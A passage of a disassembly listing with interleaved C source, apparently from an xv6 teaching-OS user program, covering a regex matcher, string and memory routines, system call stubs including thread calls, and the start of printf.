01 00 00 00 mov $0x1,%eax 1265: e9 9b 00 00 00 jmp 1305 <matchhere+0xb5> if(re[1] == '*') 126a: 8b 45 08 mov 0x8(%ebp),%eax 126d: 83 c0 01 add $0x1,%eax 1270: 0f b6 00 movzbl (%eax),%eax 1273: 3c 2a cmp $0x2a,%al 1275: 75 24 jne 129b <matchhere+0x4b> return matchstar(re[0], re+2, text); 1277: 8b 45 08 mov 0x8(%ebp),%eax 127a: 8d 48 02 lea 0x2(%eax),%ecx 127d: 8b 45 08 mov 0x8(%ebp),%eax 1280: 0f b6 00 movzbl (%eax),%eax 1283: 0f be c0 movsbl %al,%eax 1286: 8b 55 0c mov 0xc(%ebp),%edx 1289: 89 54 24 08 mov %edx,0x8(%esp) 128d: 89 4c 24 04 mov %ecx,0x4(%esp) 1291: 89 04 24 mov %eax,(%esp) 1294: e8 6e 00 00 00 call 1307 <matchstar> 1299: eb 6a jmp 1305 <matchhere+0xb5> if(re[0] == '$' && re[1] == '\0') 129b: 8b 45 08 mov 0x8(%ebp),%eax 129e: 0f b6 00 movzbl (%eax),%eax 12a1: 3c 24 cmp $0x24,%al 12a3: 75 1d jne 12c2 <matchhere+0x72> 12a5: 8b 45 08 mov 0x8(%ebp),%eax 12a8: 83 c0 01 add $0x1,%eax 12ab: 0f b6 00 movzbl (%eax),%eax 12ae: 84 c0 test %al,%al 12b0: 75 10 jne 12c2 <matchhere+0x72> return *text == '\0'; 12b2: 8b 45 0c mov 0xc(%ebp),%eax 12b5: 0f b6 00 movzbl (%eax),%eax 12b8: 84 c0 test %al,%al 12ba: 0f 94 c0 sete %al 12bd: 0f b6 c0 movzbl %al,%eax 12c0: eb 43 jmp 1305 <matchhere+0xb5> if(*text!='\0' && (re[0]=='.' || re[0]==*text)) 12c2: 8b 45 0c mov 0xc(%ebp),%eax 12c5: 0f b6 00 movzbl (%eax),%eax 12c8: 84 c0 test %al,%al 12ca: 74 34 je 1300 <matchhere+0xb0> 12cc: 8b 45 08 mov 0x8(%ebp),%eax 12cf: 0f b6 00 movzbl (%eax),%eax 12d2: 3c 2e cmp $0x2e,%al 12d4: 74 10 je 12e6 <matchhere+0x96> 12d6: 8b 45 08 mov 0x8(%ebp),%eax 12d9: 0f b6 10 movzbl (%eax),%edx 12dc: 8b 45 0c mov 0xc(%ebp),%eax 12df: 0f b6 00 movzbl (%eax),%eax 12e2: 38 c2 cmp %al,%dl 12e4: 75 1a jne 1300 <matchhere+0xb0> return matchhere(re+1, text+1); 12e6: 8b 45 0c mov 0xc(%ebp),%eax 12e9: 8d 50 01 lea 0x1(%eax),%edx 12ec: 8b 45 08 mov 0x8(%ebp),%eax 12ef: 83 c0 01 add $0x1,%eax 12f2: 89 54 24 04 mov %edx,0x4(%esp) 12f6: 89 04 24 mov %eax,(%esp) 12f9: e8 52 ff ff ff call 1250 <matchhere> 12fe: eb 05 jmp 1305 <matchhere+0xb5> return 0; 1300: b8 00 00 00 00 mov $0x0,%eax } 1305: c9 leave 1306: c3 ret 00001307 <matchstar>: // matchstar: search for c*re at beginning of text int matchstar(int c, char *re, char *text) { 1307: 55 push %ebp 1308: 89 e5 mov %esp,%ebp 130a: 83 ec 18 sub $0x18,%esp do{ // a * matches zero or more instances if(matchhere(re, text)) 130d: 8b 45 10 mov 0x10(%ebp),%eax 1310: 89 44 24 04 mov %eax,0x4(%esp) 1314: 8b 45 0c mov 0xc(%ebp),%eax 1317: 89 04 24 mov %eax,(%esp) 131a: e8 31 ff ff ff call 1250 <matchhere> 131f: 85 c0 test %eax,%eax 1321: 74 07 je 132a <matchstar+0x23> return 1; 1323: b8 01 00 00 00 mov $0x1,%eax 1328: eb 29 jmp 1353 <matchstar+0x4c> }while(*text!='\0' && (*text++==c || c=='.')); 132a: 8b 45 10 mov 0x10(%ebp),%eax 132d: 0f b6 00 movzbl (%eax),%eax 1330: 84 c0 test %al,%al 1332: 74 1a je 134e <matchstar+0x47> 1334: 8b 45 10 mov 0x10(%ebp),%eax 1337: 8d 50 01 lea 0x1(%eax),%edx 133a: 89 55 10 mov %edx,0x10(%ebp) 133d: 0f b6 00 movzbl (%eax),%eax 1340: 0f be c0 movsbl %al,%eax 1343: 3b 45 08 cmp 0x8(%ebp),%eax 1346: 74 c5 je 130d <matchstar+0x6> 1348: 83 7d 08 2e cmpl $0x2e,0x8(%ebp) 134c: 74 bf je 130d <matchstar+0x6> return 0; 134e: b8 00 00 00 00 mov $0x0,%eax } 1353: c9 leave 1354: c3 ret 1355: 66 90 xchg %ax,%ax 1357: 90 nop 00001358 <stosb>: "cc"); } static inline void stosb(void *addr, int data, int cnt) { 1358: 55 push %ebp 1359: 89 e5 mov %esp,%ebp 135b: 57 push %edi 135c: 53 push %ebx asm volatile("cld; rep stosb" : 135d: 8b 4d 08 mov 0x8(%ebp),%ecx 1360: 8b 55 10 mov 0x10(%ebp),%edx 1363: 8b 45 0c mov 0xc(%ebp),%eax 1366: 89 cb mov %ecx,%ebx 1368: 89 df mov %ebx,%edi 136a: 89 d1 mov %edx,%ecx 136c: fc cld 136d: f3 aa rep stos %al,%es:(%edi) 136f: 89 ca mov %ecx,%edx 1371: 89 fb mov %edi,%ebx 1373: 89 5d 08 mov %ebx,0x8(%ebp) 1376: 89 55 10 mov %edx,0x10(%ebp) "=D" (addr), "=c" (cnt) : "0" (addr), "1" (cnt), "a" (data) : "memory", "cc"); } 1379: 5b pop %ebx 137a: 5f pop %edi 137b: 5d pop %ebp 137c: c3 ret 0000137d <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 137d: 55 push %ebp 137e: 89 e5 mov %esp,%ebp 1380: 83 ec 10 sub $0x10,%esp char *os; os = s; 1383: 8b 45 08 mov 0x8(%ebp),%eax 1386: 89 45 fc mov %eax,-0x4(%ebp) while((*s++ = *t++) != 0) 1389: 90 nop 138a: 8b 45 08 mov 0x8(%ebp),%eax 138d: 8d 50 01 lea 0x1(%eax),%edx 1390: 89 55 08 mov %edx,0x8(%ebp) 1393: 8b 55 0c mov 0xc(%ebp),%edx 1396: 8d 4a 01 lea 0x1(%edx),%ecx 1399: 89 4d 0c mov %ecx,0xc(%ebp) 139c: 0f b6 12 movzbl (%edx),%edx 139f: 88 10 mov %dl,(%eax) 13a1: 0f b6 00 movzbl (%eax),%eax 13a4: 84 c0 test %al,%al 13a6: 75 e2 jne 138a <strcpy+0xd> ; return os; 13a8: 8b 45 fc mov -0x4(%ebp),%eax } 13ab: c9 leave 13ac: c3 ret 000013ad <strcmp>: int strcmp(const char *p, const char *q) { 13ad: 55 push %ebp 13ae: 89 e5 mov %esp,%ebp while(*p && *p == *q) 13b0: eb 08 jmp 13ba <strcmp+0xd> p++, q++; 13b2: 83 45 08 01 addl $0x1,0x8(%ebp) 13b6: 83 45 0c 01 addl $0x1,0xc(%ebp) } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 13ba: 8b 45 08 mov 0x8(%ebp),%eax 13bd: 0f b6 00 movzbl (%eax),%eax 13c0: 84 c0 test %al,%al 13c2: 74 10 je 13d4 <strcmp+0x27> 13c4: 8b 45 08 mov 0x8(%ebp),%eax 13c7: 0f b6 10 movzbl (%eax),%edx 13ca: 8b 45 0c mov 0xc(%ebp),%eax 13cd: 0f b6 00 movzbl (%eax),%eax 13d0: 38 c2 cmp %al,%dl 13d2: 74 de je 13b2 <strcmp+0x5> p++, q++; return (uchar)*p - (uchar)*q; 13d4: 8b 45 08 mov 0x8(%ebp),%eax 13d7: 0f b6 00 movzbl (%eax),%eax 13da: 0f b6 d0 movzbl %al,%edx 13dd: 8b 45 0c mov 0xc(%ebp),%eax 13e0: 0f b6 00 movzbl (%eax),%eax 13e3: 0f b6 c0 movzbl %al,%eax 13e6: 29 c2 sub %eax,%edx 13e8: 89 d0 mov %edx,%eax } 13ea: 5d pop %ebp 13eb: c3 ret 000013ec <strlen>: uint strlen(char *s) { 13ec: 55 push %ebp 13ed: 89 e5 mov %esp,%ebp 13ef: 83 ec 10 sub $0x10,%esp int n; for(n = 0; s[n]; n++) 13f2: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) 13f9: eb 04 jmp 13ff <strlen+0x13> 13fb: 83 45 fc 01 addl $0x1,-0x4(%ebp) 13ff: 8b 55 fc mov -0x4(%ebp),%edx 1402: 8b 45 08 mov 0x8(%ebp),%eax 1405: 01 d0 add %edx,%eax 1407: 0f b6 00 movzbl (%eax),%eax 140a: 84 c0 test %al,%al 140c: 75 ed jne 13fb <strlen+0xf> ; return n; 140e: 8b 45 fc mov -0x4(%ebp),%eax } 1411: c9 leave 1412: c3 ret 00001413 <memset>: void* memset(void *dst, int c, uint n) { 1413: 55 push %ebp 1414: 89 e5 mov %esp,%ebp 1416: 83 ec 0c sub $0xc,%esp stosb(dst, c, n); 1419: 8b 45 10 mov 0x10(%ebp),%eax 141c: 89 44 24 08 mov %eax,0x8(%esp) 1420: 8b 45 0c mov 0xc(%ebp),%eax 1423: 89 44 24 04 mov %eax,0x4(%esp) 1427: 8b 45 08 mov 0x8(%ebp),%eax 142a: 89 04 24 mov %eax,(%esp) 142d: e8 26 ff ff ff call 1358 <stosb> return dst; 1432: 8b 45 08 mov 0x8(%ebp),%eax } 1435: c9 leave 1436: c3 ret 00001437 <strchr>: char* strchr(const char *s, char c) { 1437: 55 push %ebp 1438: 89 e5 mov %esp,%ebp 143a: 83 ec 04 sub $0x4,%esp 143d: 8b 45 0c mov 0xc(%ebp),%eax 1440: 88 45 fc mov %al,-0x4(%ebp) for(; *s; s++) 1443: eb 14 jmp 1459 <strchr+0x22> if(*s == c) 1445: 8b 45 08 mov 0x8(%ebp),%eax 1448: 0f b6 00 movzbl (%eax),%eax 144b: 3a 45 fc cmp -0x4(%ebp),%al 144e: 75 05 jne 1455 <strchr+0x1e> return (char*)s; 1450: 8b 45 08 mov 0x8(%ebp),%eax 1453: eb 13 jmp 1468 <strchr+0x31> } char* strchr(const char *s, char c) { for(; *s; s++) 1455: 83 45 08 01 addl $0x1,0x8(%ebp) 1459: 8b 45 08 mov 0x8(%ebp),%eax 145c: 0f b6 00 movzbl (%eax),%eax 145f: 84 c0 test %al,%al 1461: 75 e2 jne 1445 <strchr+0xe> if(*s == c) return (char*)s; return 0; 1463: b8 00 00 00 00 mov $0x0,%eax } 1468: c9 leave 1469: c3 ret 0000146a <gets>: char* gets(char *buf, int max) { 146a: 55 push %ebp 146b: 89 e5 mov %esp,%ebp 146d: 83 ec 28 sub $0x28,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 1470: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 1477: eb 4c jmp 14c5 <gets+0x5b> cc = read(0, &c, 1); 1479: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 1480: 00 1481: 8d 45 ef lea -0x11(%ebp),%eax 1484: 89 44 24 04 mov %eax,0x4(%esp) 1488: c7 04 24 00 00 00 00 movl $0x0,(%esp) 148f: e8 44 01 00 00 call 15d8 <read> 1494: 89 45 f0 mov %eax,-0x10(%ebp) if(cc < 1) 1497: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 149b: 7f 02 jg 149f <gets+0x35> break; 149d: eb 31 jmp 14d0 <gets+0x66> buf[i++] = c; 149f: 8b 45 f4 mov -0xc(%ebp),%eax 14a2: 8d 50 01 lea 0x1(%eax),%edx 14a5: 89 55 f4 mov %edx,-0xc(%ebp) 14a8: 89 c2 mov %eax,%edx 14aa: 8b 45 08 mov 0x8(%ebp),%eax 14ad: 01 c2 add %eax,%edx 14af: 0f b6 45 ef movzbl -0x11(%ebp),%eax 14b3: 88 02 mov %al,(%edx) if(c == '\n' || c == '\r') 14b5: 0f b6 45 ef movzbl -0x11(%ebp),%eax 14b9: 3c 0a cmp $0xa,%al 14bb: 74 13 je 14d0 <gets+0x66> 14bd: 0f b6 45 ef movzbl -0x11(%ebp),%eax 14c1: 3c 0d cmp $0xd,%al 14c3: 74 0b je 14d0 <gets+0x66> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 14c5: 8b 45 f4 mov -0xc(%ebp),%eax 14c8: 83 c0 01 add $0x1,%eax 14cb: 3b 45 0c cmp 0xc(%ebp),%eax 14ce: 7c a9 jl 1479 <gets+0xf> break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 14d0: 8b 55 f4 mov -0xc(%ebp),%edx 14d3: 8b 45 08 mov 0x8(%ebp),%eax 14d6: 01 d0 add %edx,%eax 14d8: c6 00 00 movb $0x0,(%eax) return buf; 14db: 8b 45 08 mov 0x8(%ebp),%eax } 14de: c9 leave 14df: c3 ret 000014e0 <stat>: int stat(char *n, struct stat *st) { 14e0: 55 push %ebp 14e1: 89 e5 mov %esp,%ebp 14e3: 83 ec 28 sub $0x28,%esp int fd; int r; fd = open(n, O_RDONLY); 14e6: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 14ed: 00 14ee: 8b 45 08 mov 0x8(%ebp),%eax 14f1: 89 04 24 mov %eax,(%esp) 14f4: e8 07 01 00 00 call 1600 <open> 14f9: 89 45 f4 mov %eax,-0xc(%ebp) if(fd < 0) 14fc: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 1500: 79 07 jns 1509 <stat+0x29> return -1; 1502: b8 ff ff ff ff mov $0xffffffff,%eax 1507: eb 23 jmp 152c <stat+0x4c> r = fstat(fd, st); 1509: 8b 45 0c mov 0xc(%ebp),%eax 150c: 89 44 24 04 mov %eax,0x4(%esp) 1510: 8b 45 f4 mov -0xc(%ebp),%eax 1513: 89 04 24 mov %eax,(%esp) 1516: e8 fd 00 00 00 call 1618 <fstat> 151b: 89 45 f0 mov %eax,-0x10(%ebp) close(fd); 151e: 8b 45 f4 mov -0xc(%ebp),%eax 1521: 89 04 24 mov %eax,(%esp) 1524: e8 bf 00 00 00 call 15e8 <close> return r; 1529: 8b 45 f0 mov -0x10(%ebp),%eax } 152c: c9 leave 152d: c3 ret 0000152e <atoi>: int atoi(const char *s) { 152e: 55 push %ebp 152f: 89 e5 mov %esp,%ebp 1531: 83 ec 10 sub $0x10,%esp int n; n = 0; 1534: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) while('0' <= *s && *s <= '9') 153b: eb 25 jmp 1562 <atoi+0x34> n = n*10 + *s++ - '0'; 153d: 8b 55 fc mov -0x4(%ebp),%edx 1540: 89 d0 mov %edx,%eax 1542: c1 e0 02 shl $0x2,%eax 1545: 01 d0 add %edx,%eax 1547: 01 c0 add %eax,%eax 1549: 89 c1 mov %eax,%ecx 154b: 8b 45 08 mov 0x8(%ebp),%eax 154e: 8d 50 01 lea 0x1(%eax),%edx 1551: 89 55 08 mov %edx,0x8(%ebp) 1554: 0f b6 00 movzbl (%eax),%eax 1557: 0f be c0 movsbl %al,%eax 155a: 01 c8 add %ecx,%eax 155c: 83 e8 30 sub $0x30,%eax 155f: 89 45 fc mov %eax,-0x4(%ebp) atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 1562: 8b 45 08 mov 0x8(%ebp),%eax 1565: 0f b6 00 movzbl (%eax),%eax 1568: 3c 2f cmp $0x2f,%al 156a: 7e 0a jle 1576 <atoi+0x48> 156c: 8b 45 08 mov 0x8(%ebp),%eax 156f: 0f b6 00 movzbl (%eax),%eax 1572: 3c 39 cmp $0x39,%al 1574: 7e c7 jle 153d <atoi+0xf> n = n*10 + *s++ - '0'; return n; 1576: 8b 45 fc mov -0x4(%ebp),%eax } 1579: c9 leave 157a: c3 ret 0000157b <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 157b: 55 push %ebp 157c: 89 e5 mov %esp,%ebp 157e: 83 ec 10 sub $0x10,%esp char *dst, *src; dst = vdst; 1581: 8b 45 08 mov 0x8(%ebp),%eax 1584: 89 45 fc mov %eax,-0x4(%ebp) src = vsrc; 1587: 8b 45 0c mov 0xc(%ebp),%eax 158a: 89 45 f8 mov %eax,-0x8(%ebp) while(n-- > 0) 158d: eb 17 jmp 15a6 <memmove+0x2b> *dst++ = *src++; 158f: 8b 45 fc mov -0x4(%ebp),%eax 1592: 8d 50 01 lea 0x1(%eax),%edx 1595: 89 55 fc mov %edx,-0x4(%ebp) 1598: 8b 55 f8 mov -0x8(%ebp),%edx 159b: 8d 4a 01 lea 0x1(%edx),%ecx 159e: 89 4d f8 mov %ecx,-0x8(%ebp) 15a1: 0f b6 12 movzbl (%edx),%edx 15a4: 88 10 mov %dl,(%eax) { char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 15a6: 8b 45 10 mov 0x10(%ebp),%eax 15a9: 8d 50 ff lea -0x1(%eax),%edx 15ac: 89 55 10 mov %edx,0x10(%ebp) 15af: 85 c0 test %eax,%eax 15b1: 7f dc jg 158f <memmove+0x14> *dst++ = *src++; return vdst; 15b3: 8b 45 08 mov 0x8(%ebp),%eax } 15b6: c9 leave 15b7: c3 ret 000015b8 <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 15b8: b8 01 00 00 00 mov $0x1,%eax 15bd: cd 40 int $0x40 15bf: c3 ret 000015c0 <exit>: SYSCALL(exit) 15c0: b8 02 00 00 00 mov $0x2,%eax 15c5: cd 40 int $0x40 15c7: c3 ret 000015c8 <wait>: SYSCALL(wait) 15c8: b8 03 00 00 00 mov $0x3,%eax 15cd: cd 40 int $0x40 15cf: c3 ret 000015d0 <pipe>: SYSCALL(pipe) 15d0: b8 04 00 00 00 mov $0x4,%eax 15d5: cd 40 int $0x40 15d7: c3 ret 000015d8 <read>: SYSCALL(read) 15d8: b8 05 00 00 00 mov $0x5,%eax 15dd: cd 40 int $0x40 15df: c3 ret 000015e0 <write>: SYSCALL(write) 15e0: b8 10 00 00 00 mov $0x10,%eax 15e5: cd 40 int $0x40 15e7: c3 ret 000015e8 <close>: SYSCALL(close) 15e8: b8 15 00 00 00 mov $0x15,%eax 15ed: cd 40 int $0x40 15ef: c3 ret 000015f0 <kill>: SYSCALL(kill) 15f0: b8 06 00 00 00 mov $0x6,%eax 15f5: cd 40 int $0x40 15f7: c3 ret 000015f8 <exec>: SYSCALL(exec) 15f8: b8 07 00 00 00 mov $0x7,%eax 15fd: cd 40 int $0x40 15ff: c3 ret 00001600 <open>: SYSCALL(open) 1600: b8 0f 00 00 00 mov $0xf,%eax 1605: cd 40 int $0x40 1607: c3 ret 00001608 <mknod>: SYSCALL(mknod) 1608: b8 11 00 00 00 mov $0x11,%eax 160d: cd 40 int $0x40 160f: c3 ret 00001610 <unlink>: SYSCALL(unlink) 1610: b8 12 00 00 00 mov $0x12,%eax 1615: cd 40 int $0x40 1617: c3 ret 00001618 <fstat>: SYSCALL(fstat) 1618: b8 08 00 00 00 mov $0x8,%eax 161d: cd 40 int $0x40 161f: c3 ret 00001620 <link>: SYSCALL(link) 1620: b8 13 00 00 00 mov $0x13,%eax 1625: cd 40 int $0x40 1627: c3 ret 00001628 <mkdir>: SYSCALL(mkdir) 1628: b8 14 00 00 00 mov $0x14,%eax 162d: cd 40 int $0x40 162f: c3 ret 00001630 <chdir>: SYSCALL(chdir) 1630: b8 09 00 00 00 mov $0x9,%eax 1635: cd 40 int $0x40 1637: c3 ret 00001638 <dup>: SYSCALL(dup) 1638: b8 0a 00 00 00 mov $0xa,%eax 163d: cd 40 int $0x40 163f: c3 ret 00001640 <getpid>: SYSCALL(getpid) 1640: b8 0b 00 00 00 mov $0xb,%eax 1645: cd 40 int $0x40 1647: c3 ret 00001648 <sbrk>: SYSCALL(sbrk) 1648: b8 0c 00 00 00 mov $0xc,%eax 164d: cd 40 int $0x40 164f: c3 ret 00001650 <sleep>: SYSCALL(sleep) 1650: b8 0d 00 00 00 mov $0xd,%eax 1655: cd 40 int $0x40 1657: c3 ret 00001658 <uptime>: SYSCALL(uptime) 1658: b8 0e 00 00 00 mov $0xe,%eax 165d: cd 40 int $0x40 165f: c3 ret 00001660 <clone>: SYSCALL(clone) 1660: b8 16 00 00 00 mov $0x16,%eax 1665: cd 40 int $0x40 1667: c3 ret 00001668 <texit>: SYSCALL(texit) 1668: b8 17 00 00 00 mov $0x17,%eax 166d: cd 40 int $0x40 166f: c3 ret 00001670 <tsleep>: SYSCALL(tsleep) 1670: b8 18 00 00 00 mov $0x18,%eax 1675: cd 40 int $0x40 1677: c3 ret 00001678 <twakeup>: SYSCALL(twakeup) 1678: b8 19 00 00 00 mov $0x19,%eax 167d: cd 40 int $0x40 167f: c3 ret 00001680 <thread_yield>: SYSCALL(thread_yield) 1680: b8 1a 00 00 00 mov $0x1a,%eax 1685: cd 40 int $0x40 1687: c3 ret 00001688 <putc>: #include "stat.h" #include "user.h" static void putc(int fd, char c) { 1688: 55 push %ebp 1689: 89 e5 mov %esp,%ebp 168b: 83 ec 18 sub $0x18,%esp 168e: 8b 45 0c mov 0xc(%ebp),%eax 1691: 88 45 f4 mov %al,-0xc(%ebp) write(fd, &c, 1); 1694: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 169b: 00 169c: 8d 45 f4 lea -0xc(%ebp),%eax 169f: 89 44 24 04 mov %eax,0x4(%esp) 16a3: 8b 45 08 mov 0x8(%ebp),%eax 16a6: 89 04 24 mov %eax,(%esp) 16a9: e8 32 ff ff ff call 15e0 <write> } 16ae: c9 leave 16af: c3 ret 000016b0 <printint>: static void printint(int fd, int xx, int base, int sgn) { 16b0: 55 push %ebp 16b1: 89 e5 mov %esp,%ebp 16b3: 56 push %esi 16b4: 53 push %ebx 16b5: 83 ec 30 sub $0x30,%esp static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 16b8: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) if(sgn && xx < 0){ 16bf: 83 7d 14 00 cmpl $0x0,0x14(%ebp) 16c3: 74 17 je 16dc <printint+0x2c> 16c5: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) 16c9: 79 11 jns 16dc <printint+0x2c> neg = 1; 16cb: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp) x = -xx; 16d2: 8b 45 0c mov 0xc(%ebp),%eax 16d5: f7 d8 neg %eax 16d7: 89 45 ec mov %eax,-0x14(%ebp) 16da: eb 06 jmp 16e2 <printint+0x32> } else { x = xx; 16dc: 8b 45 0c mov 0xc(%ebp),%eax 16df: 89 45 ec mov %eax,-0x14(%ebp) } i = 0; 16e2: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) do{ buf[i++] = digits[x % base]; 16e9: 8b 4d f4 mov -0xc(%ebp),%ecx 16ec: 8d 41 01 lea 0x1(%ecx),%eax 16ef: 89 45 f4 mov %eax,-0xc(%ebp) 16f2: 8b 5d 10 mov 0x10(%ebp),%ebx 16f5: 8b 45 ec mov -0x14(%ebp),%eax 16f8: ba 00 00 00 00 mov $0x0,%edx 16fd: f7 f3 div %ebx 16ff: 89 d0 mov %edx,%eax 1701: 0f b6 80 1c 22 00 00 movzbl 0x221c(%eax),%eax 1708: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1) }while((x /= base) != 0); 170c: 8b 75 10 mov 0x10(%ebp),%esi 170f: 8b 45 ec mov -0x14(%ebp),%eax 1712: ba 00 00 00 00 mov $0x0,%edx 1717: f7 f6 div %esi 1719: 89 45 ec mov %eax,-0x14(%ebp) 171c: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 1720: 75 c7 jne 16e9 <printint+0x39> if(neg) 1722: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 1726: 74 10 je 1738 <printint+0x88> buf[i++] = '-'; 1728: 8b 45 f4 mov -0xc(%ebp),%eax 172b: 8d 50 01 lea 0x1(%eax),%edx 172e: 89 55 f4 mov %edx,-0xc(%ebp) 1731: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1) while(--i >= 0) 1736: eb 1f jmp 1757 <printint+0xa7> 1738: eb 1d jmp 1757 <printint+0xa7> putc(fd, buf[i]); 173a: 8d 55 dc lea -0x24(%ebp),%edx 173d: 8b 45 f4 mov -0xc(%ebp),%eax 1740: 01 d0 add %edx,%eax 1742: 0f b6 00 movzbl (%eax),%eax 1745: 0f be c0 movsbl %al,%eax 1748: 89 44 24 04 mov %eax,0x4(%esp) 174c: 8b 45 08 mov 0x8(%ebp),%eax 174f: 89 04 24 mov %eax,(%esp) 1752: e8 31 ff ff ff call 1688 <putc> buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 1757: 83 6d f4 01 subl $0x1,-0xc(%ebp) 175b: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 175f: 79 d9 jns 173a <printint+0x8a> putc(fd, buf[i]); } 1761: 83 c4 30 add $0x30,%esp 1764: 5b pop %ebx 1765: 5e pop %esi 1766: 5d pop %ebp 1767: c3 ret 00001768 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 1768: 55 push %ebp 1769: 89 e5 mov %esp,%ebp 176b: 83 ec 38 sub $0x38,%esp char *s; int c, i, state; uint *ap; state = 0; 176e: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) ap = (uint*)(void*)&fmt + 1; 1775: 8d 45 0c lea 0xc(%ebp),%eax 1778: 83 c0 04 add $0x4,%eax 177b: 89 45 e8 mov %eax,-0x18(%ebp) for(i = 0; fmt[i]; i++){ 177e: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 1785: e9 7c 01 00 00 jmp 1906 <printf+0x19e> c = fmt[i] & 0xff; 178a: 8b 55 0c mov 0xc(%ebp),%edx 178d: 8b 45 f0 mov -0x10(%ebp),%eax 1790: 01 d0 add %edx,%eax 1792: 0f b6 00 movzbl (%eax),%eax 1795: 0f be c0 movsbl %al,%eax 1798: 25 ff 00 00 00 and $0xff,%eax 179d: 89 45 e4 mov %eax,-0x1c(%ebp) if(state == 0){ 17a0: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 17a4: 75 2c jne 17d2 <printf+0x6a> if(c == '%'){ 17a6: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 17aa: 75 0c jne 17b8 <printf+0x50> state = '%'; 17ac: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp) 17b3: e9 4a 01 00 00 jmp 1902 <printf+0x19a> } else { putc(fd, c); 17b8: 8b 45 e4 mov -0x1c(%ebp),%eax 17bb: 0f be c0 movsbl %al,%eax 17be: 89 44 24 04 mov %eax,0x4(%esp) 17c2: 8b 45 08 mov 0x8(%ebp),%eax 17c5: 89 04 24 mov %eax,(%esp) 17c8: e8 bb fe ff ff call 1688 <putc> 17cd: e9 30 01 00 00 jmp 1902 <printf+0x19a> } } else if(state == '%'){ 17d2: 83 7d ec 25 cmpl $0x25,-0x14(%ebp) 17d6: 0f 85 26 01 00 00 jne 1902 <printf+0x19a> if(c == 'd'){ 17dc: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp) 17e0: 75 2d jne 180f <printf+0xa7> printint(fd, *ap, 10, 1); 17e2: 8b 45 e8 mov -0x18(%ebp),%eax 17e5: 8b 00 mov (%eax),%eax 17e7: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp) 17ee: 00 17ef: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp) 17f6: 00 17f7: 89 44 24 04 mov %eax,0x4(%esp) 17fb: 8b 45 08 mov 0x8(%ebp),%eax 17fe: 89 04 24 mov %eax,(%esp) 1801: e8 aa fe ff ff call 16b0 <printint> ap++; 1806: 83 45 e8 04 addl $0x4,-0x18(%ebp) 180a: e9 ec 00 00 00 jmp 18fb <printf+0x193> } else if(c == 'x' || c == 'p'){ 180f: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp) 1813: 74 06 je 181b <printf+0xb3> 1815: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp) 1819: 75 2d jne 1848 <printf+0xe0> printint(fd, *ap, 16, 0); 181b: 8b 45 e8 mov -0x18(%ebp),%eax 181e: 8b 00 mov (%eax),%eax 1820: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp) 1827: 00 1828: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp) 182f: 00 1830: 89 44 24 04 mov %eax,0x4(%esp) 1834: 8b 45 08 mov 0x8(%ebp),%eax 1837: 89 04 24 mov %eax,(%esp) 183a: e8 71 fe ff ff call 16b0 <printint> ap++; 183f: 83 45 e8 04 addl $0x4,-0x18(%ebp) 1843: e9 b3 00 00 00 jmp 18fb <printf+0x193> } else if(c == 's'){ 1848: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp) 184c: 75 45 jne 1893 <printf+0x12b> s = (char*)*ap; 184e: 8b 45 e8 mov -0x18(%ebp),%eax 1851: 8b 00 mov (%eax),%eax 1853: 89 45 f4 mov %eax,-0xc(%ebp) ap++; 1856: 83 45 e8 04 addl $0x4,-0x18(%ebp) if(s == 0) 185a: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 185e: 75 09 jne 1869 <printf+0x101> s = "(null)"; 1860: c7 45 f4 e2 1d 00 00 movl $0x1de2,-0xc(%ebp) while(*s != 0){ 1867: eb 1e jmp 1887 <printf+0x11f> 1869: eb 1c jmp 1887 <printf+0x11f> putc(fd, *s); 186b: 8b 45 f4 mov -0xc(%ebp),%eax 186e: 0f b6 00 movzbl (%eax),%eax 1871: 0f be c0 movsbl %al,%eax 1874: 89 44 24 04 mov %eax,0x4(%esp) 1878: 8b 45 08 mov 0x8(%ebp),%eax 187b: 89 04 24 mov %eax,(%esp) 187e: e8 05 fe ff ff call 1688 <putc> s++; 1883: 83 45 f4 01 addl $0x1,-0xc(%ebp) } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; 